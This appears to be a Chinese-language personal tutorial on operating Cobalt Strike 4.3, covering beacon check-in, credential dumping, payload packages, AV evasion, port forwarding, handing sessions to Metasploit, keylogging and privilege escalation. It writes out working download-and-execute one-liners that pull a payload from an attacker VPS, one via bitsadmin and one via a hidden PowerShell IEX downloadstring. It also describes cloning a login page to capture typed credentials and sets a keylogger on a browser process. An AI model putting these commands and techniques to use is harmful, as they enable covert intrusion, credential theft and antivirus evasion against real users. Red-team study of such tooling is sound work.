- 0x01 上线cs
- 0x02 https becan
- 0x03凭据
- 0x0 4Windows Executable(Windows 可执行文件)
- 0x05 Windows Executable(s)
- 0x06 Web Drive-by 攻击
- 0x07钓鱼服务(没用过)
- 0x08 Artifact免杀(shellcode 免杀)
- 0x09 进入beacon
- 0x10 beacon菜单
- 0x11 portscan命令和rportfwd命令
- 0x12 Beacon中的命令是异步交互的
- 0x13 Beacon命令
- 0x14 cs spawn会话传递、cs使用foreign listener(外置监听器)与msf联动
- 0x15 文件上传下载
- 0x16 键盘记录和屏幕截图
- 0x17 查看beacon中正在进行的任务
- 0x18 进程列表
- 0x19 elevate 提权
- 0x20 Foreign Listeners持对外监听器
0x01 上线cs
1、设置listener
2、生成poyload,此处使用powershell命令上线
3、选择设置好的listener,选择powershell command
4、在命令行中输入生成的payload.txt命令
5、上线
6、设置监听时间为1s,此处为你在cs执行操作,目标响应的时间
在上线机器右键—>session—>sleep,修改60s为1s,在客户端机器抓包可以看到1s回连一次
7、在客户端安装科来流量分析,发现一直在http get请求 /activity
浏览器直接访问 cs服务器/activity,可以直接下载文件,此方法可以用来判断cs服务器,测试版本为cs4.3
同时cs服务器也会有被请求文件的显示
8、修改为60s,此时每分钟回连一次cs服务器,如果执行了命令,也是1分钟之后发回服务端,此处执行shell tasklist测试
发现除了每分钟发到服务段确认存活的包,还多了一个5K的数据包
确认存活数据包内容如下,返回包经过加密,访问的是/activity
执行shell tasklist的数据包如下,请求包经过加密,请求地址为POST /submit.php?id=1018569144,经测试,之后执行其他命令,返回服务端的数据也都是通过POST /submit.php?id=1018569144
0x02 https becan
DNS Beacon 需要域名解析dnstxt 客户端机器netstat看不到80端口通信,需要输入check in激活会话
SMB Beacon 内网横向 需要客户端和cs服务器都开启445 需要link到已存在的会话
TCP Beacon 内网横向 需要link到已存在的会话
0x03凭据
在上线主机右键—>Access—>Dump Hashes
直接点击凭据图标查看
0x0 4Windows Executable(Windows 可执行文件)
选择Attacks—>pPackages—>Windwos Executeable,生成可执行文件。普通的 EXE 和服务器启动调用的 EXE 是有区别是。利用 Windows Service
EXE 生成的 EXE 才能用来作为服务自启动的 EXE,利用 Cobalt Strike 中 Windows exe 生成的
EXE 不能作为服务自启动的 EXE 程序(因为不能响应Service Control Manager)
0x05 Windows Executable(s)
该程序包直接导出 Beacon(也就是 payload stage),这个 Beacon 是作者写好的32或64位 DLL,是
一个不使用 stager 的可执行文件,直接和监听器连接、传输数据和命令。一个不使用 stager 的
payload Artifact被称为无阶段的 Artifact。这个程序包也有 PowerShell 选项来导出 Beacon 作为一个
PowerShell 脚本,或 raw 选项导出与位置无关的 beacon 代码。
payload 通常被分为两部分:
payload stage 和 payload stager。stager 是一个小程序,通常是手工优化的汇编指令,用于下载一个
payload stage、把它注入内存,然后对其传达执行命令。这个过程被称为 staging(分阶段)。
staging(分阶段)过程在一些攻击行动中是必要的。很多攻击中对于能加载进内存并在成功漏洞利用
后执行的数据大小存在严格限制。这会极大地限制你的后渗透选择,除非你分阶段传送你的后渗透
payload。
直接生成beacon.exe,双击上线。感觉没区别,Windows Executable(s)和Windows Executable相比感觉就是少了stage 分阶段功能,影响不大?
0x06 Web Drive-by 攻击
Attacks—>Web Driver-by
有各种攻击选项
- Signed Applet Attack(没用过)
这个攻击会启动一个 web 服务器来托管一个自签名的 Java applet。访客被要求给这个 applet 权限来运
行。当一个访客准许了这个权限,你就获取了到他们系统的权限。
Java 签名的 Applet 攻击使用 Cobalt Strike 的 Java 注入器。在 Windows 上,Java 注入器会对一个
Windows 监听器直接往内存注入 shellcode。
为了从这次攻击中获取最大收益,你需要从 Cobalt Strike 的武器库中下载此 Applet 套件并使用代码签
名证书对其进行签名。 - Smart Applet Attack (不懂)
java 沙盒 - Host File
当文件服务器 类似于python http server - Scripted Web Delivery (S)
选项包括:bitsadmin,powershell 和 python。
1、bitsadmin 选项托管一个可执行文件并使用 bitsadmin 来下载它。bitsadmin 方法通过 cmd.exe 来运
行此可执行文件
cmd.exe /c bitsadmin /transfer 2e14 _http://你的vps/a %APPDATA%\2e14.exe&%APPDATA%\2e14.exe&del %APPDATA%\2e14.exe_
直接上线
2、在cs服务器上生成比如powershell命令等,配合downloadstring实现无文件落地上线
powershell.exe -nop -w hidden -c “IEX ((new-object net.webclient).downloadstring(‘http://你的vps:80/a‘))”
Clone Site
Attack—>Web Driver-by—>Clone Site
访问生成的连接查看效果,挺好
输入登录用户名字密码后自动跳转到你设定的正常页面
此时键盘记录记录到了信息,View—>Web Log
Attack—>Web Driver-by—>system profiler
可以在view—>Applications查看 感觉也没收集到啥0x07钓鱼服务(没用过)
0x08 Artifact免杀(shellcode 免杀)
传统的反病毒产品使用签名来识别已知的恶意程序。如果我们把一些被标记的恶意 shellcode 注入一个
可执行文件,那么反病毒产品会识别 shellcode 并把此可执行文件标为恶意。
为了打败这种检测,攻击者通常会以某种方式混淆 shellcode 并将其放入二进制文件中。这种混淆过程
会打败使用简单的字符串搜索来识别恶意代码的反病毒产品
很多反病毒产品会进行更严苛的检测。这些反病毒产品模拟一个可执行程序在一个虚拟沙盒中的执行。- 在执行的每个模拟步骤中,这个反病毒产品会检测在模拟的进程空间中的已知的恶意部分。如果已知的
恶意部分出现,反病毒产品会把这个可执行文件或 DLL 标记为恶意的。这项技术打败了许多编码器和程
序包,它们试图去从基于签名的反 AV 产品中隐藏已知的恶意部分。 Cobalt Strike 对此的应对策略是很简单的。这个反病毒沙盒有一些限制。这不是完整的虚拟机。有一些
反病毒沙盒不会模拟的系统行为。这个 Artifact 工件集是一些可执行文件和 DLL 模板的集合,这些可执
行文件和 DLL 模板依赖于一些反病毒产品不会模拟来还原二进制中的 shellcode 的行为。0x09 进入beacon
0x10 beacon菜单
主机右键—>Access
子菜单包含对凭据的操作和提权在内的一些选项
- 主机右键—>Explore
子菜单包含信息探测和与目标系统交互的一些选项
- 主机右键—> Pivoting
子菜单你可以通过一个 Beacon 来配置工具来搭建流量隧道,没用过,貌似是内网sock,可以在View-Proxy Pivots查看
0x11 portscan命令和rportfwd命令
1、在beacon中使用portscan扫描端口,发现内网机器3389开启
portscan 192.168.52.143
2、使用rportfwd命令将内网机器的3389端口转发到上线主机的389端口
rportfwd 389 192.168.54.143 3389
上线主机确实开启了389
测试发现转发成功但是无法连接,可能隧道不稳定
可以在View—>Proxy Pivots查看端口转发情况
stop端口转发再远程连接389端口可以看到区别
0x12 Beacon中的命令是异步交互的
- Beacon 是一个异步的 payload。命令不会立即执行。每个命令都会先进入队列。当 Beacon
连接到你的时候。它会下载这些命令并挨个执行它们。此时,Beacon 会将所有的输出报告给你。如果
输入有误,使用 clear 命令来清理当前 Beacon 的命令队列。 - 默认情况下,Beacon 每60秒连接到你一次。你可以使用 Beacon 的 sleep 命令修改这个时间设置。
使用 sleep 接着一个秒数来指定 Beacon 连接到你的频率。你也可以指定第二个参数,这个参数必须
是一个0到99之间的数字。这个数字就是抖动因子。Beacon 会根据你指定的抖动因子的百分比随机变
化下次连接到你的时间。比如, sleep 300 20 这条命令,会使得 Beacon 睡眠 300秒,另外有 20%
的抖动因子。这意味着 Beacon 在每次连接到你之后会随机睡眠 240 - 300秒 要使得 Beacon 每秒都多次连接到你,使用 sleep 0 命令
0x13 Beacon命令
shell(就用过这个)
- run
- powershell
- psinject
- powershell-import
- execute-assembly
0x14 cs spawn会话传递、cs使用foreign listener(外置监听器)与msf联动
1、msf设置监听use exploit/multi/handler set payload windows/meterpreter/reverse_http set lhost 你的msf vps set lport 6666
2、cs设置 foreign监听器,地址和端口为msf的
3、在已经上线的会话右键spawn,选择创建好的foreign监听器
msf的meterpreter成功上线
此处注意,vps安装好msf之后需要新建一个msf用户来之后所有的启动msf,否则msf会失效,因为msf数据库默认不让root连接,这里一开始我失败原因就是用root启动msf
0x15 文件上传下载
上线机器—>右键 Explore—>FileBrowser
可以上传、下载、执行文件
在View—>Downloads查看下载的文件
0x16 键盘记录和屏幕截图
找到浏览器进程
在beacon输入 keylogger 浏览器pid x86
在View-Keystrokes查看键盘记录
在View → Screenshots查看截屏
0x17 查看beacon中正在进行的任务
0x18 进程列表
上线主机—>右键—>Explore—>Process List
进程浏览器中可以使用键盘记录和屏幕截图,注入到某个进程,比如chrome 比较方便
0x19 elevate 提权
上线主机右键—>Access—>Elevate
cs4.3默认有两种提权,svc-exe 和uac-token-duplication,提权时需要选择listener
尝试使用svc-exe,这里使用uac-token-duplication提权失败
svc-exe提权到system成功,可以看到又上线一台system权限的会话
cs默认只有两种提权,我们可以自己添加提权脚本
下载提权cna脚本https://github.com/rsmudge/ElevateKit,放到cs文件夹下
Cobestrike—>Script Manager—>load
选择下载好的cna文件
此时再右键上线主机—>Access—>elevate,发现多了很多提权脚本,有的只能给win10用,有的只能x86,要看实际情况
0x20 Foreign Listeners持对外监听器
要传递一个Windows HTTPS Meterpreter 会话到一个使用 msfconsole 的朋友那里,建立一个 Foreign HTTPS
payload 并将主机和端口的值指向它们的 handler
条件:
cs已经有会话上线,cs为公网vps,msf为公网vps,设置foreign listener地址为msf地址,打开msf监听模块,等待上线.